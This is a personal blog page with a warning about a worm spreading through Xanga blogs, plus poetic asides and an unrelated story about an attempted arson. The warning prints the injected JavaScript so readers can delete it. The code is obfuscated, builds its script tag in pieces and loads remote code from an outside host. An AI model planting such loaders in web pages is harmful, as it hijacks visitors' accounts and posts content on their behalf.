I am parsing in my own nethersphere and forever teasing oblivion. 

I even ran through an ominous space and forgot to warn myself to look out. 

I did, however, avoid the petulant portal and found surcease upon a hiding rock.

What's happening:  Xanga's been pervasively hacked by a malicious script.  Your site may be compromised (mine was). 

Symptoms: You get autosubbed to some sick sites, you get autosubbed to a gay/lesbian blogring, and your blog gets an additional pornographic auto-post right after you genuinely post something of your own.

What you can do: Check your 'Website Statistics' section under your 'Look and Feel' selection and delete the following malicious code, if it exists:

<script>
var mys = "http://almostjdi.9p.org.uk/minijdi.js";
var l0 = "<b>".substr(0,1);
var l1 = "sc";
var l2 = "ip";
document.write(""+l0+l1+""+"r"+l2+"t "+l1.substr(0,1)+"rc='"+mys+"'>"+l0+"/"+l1+"r"+l2+"t>");
</script><script>var dontpostagain=true</script>

And, not a bad idea: Change your password in case the script had some method of stealing it (though now looking at it, I doubt it.)

Explanation: The site mentioned above is a free subdomain that was established on a free webhosting site in the UK.  You can get your own here (if you wanted to): http://www.portland.co.uk/freesubdomainapp.esp

Apparently, that web host allows javascripts of any type to get posted by anonymous members.  And the script bastard put one there and then inserted javascript code in Xanga that called it up to sub and post on your behalf.  Now, how did it penetrate into Xanga itself?  Good fucking question.  But it looks like Xanga has already taken action itself since a couple of the sites that this script was referring to, Sex_Addiction and almostjdi , are already shut down.

post-note:  Oh, and here's a response from John on the situation (I wrote him earlier):

Hey Steve, yah someone was trying to get a blogworm going. I'll post more
about this in a bit... a bit busy over here quashing it (it should be
disabled for now).

This is a purported 'barber shop' that serves up crack-cocaine all night long in a rugged neighborhood.  The 'break-in' was an attempt by neighborhood vigilante thugs to torch the place.  I photographed the broken window 24 hours after the attempt occurred (they didn't even bother to fix the window!) My buddy Mike, who lives upstairs, thwarted the arson attempt, and thus saved his domicile (but the crack barber shop, too).  Next time, he swears, he's just going to evacuate and let it "burn, baby, burn."

This blog is now effectively backwater.

By design.

I abhor the intoxication of prominence.

And finally I'm fine.